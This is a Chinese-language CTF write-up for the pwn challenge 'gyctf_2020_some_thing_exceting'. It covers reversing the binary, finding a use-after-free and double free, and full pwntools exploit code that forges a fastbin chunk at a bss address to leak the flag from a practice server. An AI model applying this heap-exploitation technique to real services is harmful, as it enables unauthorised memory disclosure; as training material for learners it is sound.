第一次尝试了边做题边写wp,感觉还挺好,因为这样可以使自己思路更开阔,很不错
这个题自己没做出来
原因:ptmalloc管理机制还是不熟悉,没有想起来double free的利用条件(脑子抽了,不知道当时想的什么

逆向和解题中的思路

main函数

r_start函数

可以发现这个函数要求在根目录下有一个flag文件,要不然就exit了,所以本地做题的时候要创建一下
然后还可以发现这个bss段中有个变量貌似很可疑,后期关注下,看看能不能伪造chunk啥的
add函数

这个程序没有edit功能

delete 初步分析是有UAF洞

show

我们直接新建两个堆块,看一下内存分布是什么样子的

from pwn import *

local = 1

if local == 1:
    p = process('./gyctf_2020_some_thing_exceting')
else:
    p = remote('node3.buuoj.cn',27898)

def add(basize,bacontent,nasize,nacontent):
    p.sendlineafter('> Now please tell me what you want to do :','1')
    p.sendlineafter('> ba\'s length :',str(basize))
    p.sendafter('> ba :',bacontent)
    p.sendlineafter('> na\'s length :',str(nasize))
    p.sendafter('> na :',nacontent)

def delete(index):
    p.sendlineafter('> Now please tell me what you want to do :', '3')
    p.sendlineafter('> Banana ID :',index)

def show(index):
    p.sendlineafter('> Now please tell me what you want to do :', '4')
    p.sendlineafter('> Banana ID : > SCP project ID :',index)

add(0x20,'AAAAAAAA',0x30,'BBBBBBBB')
add(0x10,'aaaaaaaa',0x50,'bbbbbbbb')

pause()

看一下chunk分布

可以初步判定,绿色框框框起来的chunk是管理后面两个ba和na的chunk
但是前面两个非常大的chunk暂时就不知道是用来做什么的了
分布很清晰

刚刚发现,flag被存到了bss的一个数组里面,见r_start函数
而且bss段的分布很有意思

heap[]
byte_6020A0 (96)
s[] (flag)

这个结构后续肯定可以利用

可以看到,free后的数据区域已经被清空

我现在的思路是既然程序本身好像没有漏洞,那么肯定不能向拿shell的思路去进行了
那我们不妨就考虑信息泄漏这个途径,我们可不可以利用double free呢?尝试改写fd指针到byte_6020A0的位置处,然后show打印内容,因为bss段那样的内存分布,一个可以泄漏出flag,本地调试一下
实验一下发现不可取,因为free后将内容清空了
那么还有一个思路是因为我们有堆管理指针,那么我们可不可以改写指针到bss段呢?再度尝试一下
这种思路也失败了,因为发现无法进行溢出,连空字节都无法溢出
思路三:或许之前大chunk里面有可以利用的点,我们不妨看看

好吧,并没有发现什么玄机,我准备看wp了:(
开幕雷击,发现wp利用的是double free,但是在第一个思路里我失败了,本地double free会报错?
oh no 我傻了,double free的利用条件是前后free的两个chunksize要相同,这样在bin里面才会连接起来,cao,我是sb
这样岂不是简单很多了??淦,本来可以自己出的,算了,反正没看exp,自己写exp好了

可以看到已经形成闭环了,至于为啥选0x60,是因为bss段上那个数值是96

已经伪造成功了

exp

from pwn import *

#context.log_level = 'debug'
local = 0

if local == 1:
    p = process('./gyctf_2020_some_thing_exceting')
else:
    p = remote('node3.buuoj.cn',27898)

def add(basize,bacontent,nasize,nacontent):
    p.sendlineafter('> Now please tell me what you want to do :','1')
    p.sendlineafter('> ba\'s length :',str(basize))
    p.sendafter('> ba :',bacontent)
    p.sendlineafter('> na\'s length :',str(nasize))
    p.sendafter('> na :',nacontent)

def delete(index):
    p.sendlineafter('> Now please tell me what you want to do :', '3')
    p.sendlineafter('> Banana ID :',index)

def show(index):
    p.sendlineafter('> Now please tell me what you want to do :', '4')
    p.sendlineafter('> Banana ID : > SCP project ID :',index)

add(0x30,'AAAAAAAA',0x50,'BBBBBBBB')    #chunk0
add(0x30,'aaaaaaaa',0x50,'bbbbbbbb')    #chunk1

delete('0')
delete('1')
delete('0')
bss_6020A0 = 0x6020A0 - 0x8
add(0x50,p64(bss_6020A0),0x50,'A')   #chunk2
add(0x50,'B',0x50,'C')     #chunk3

show('3')
print(p.recv())
p.interactive()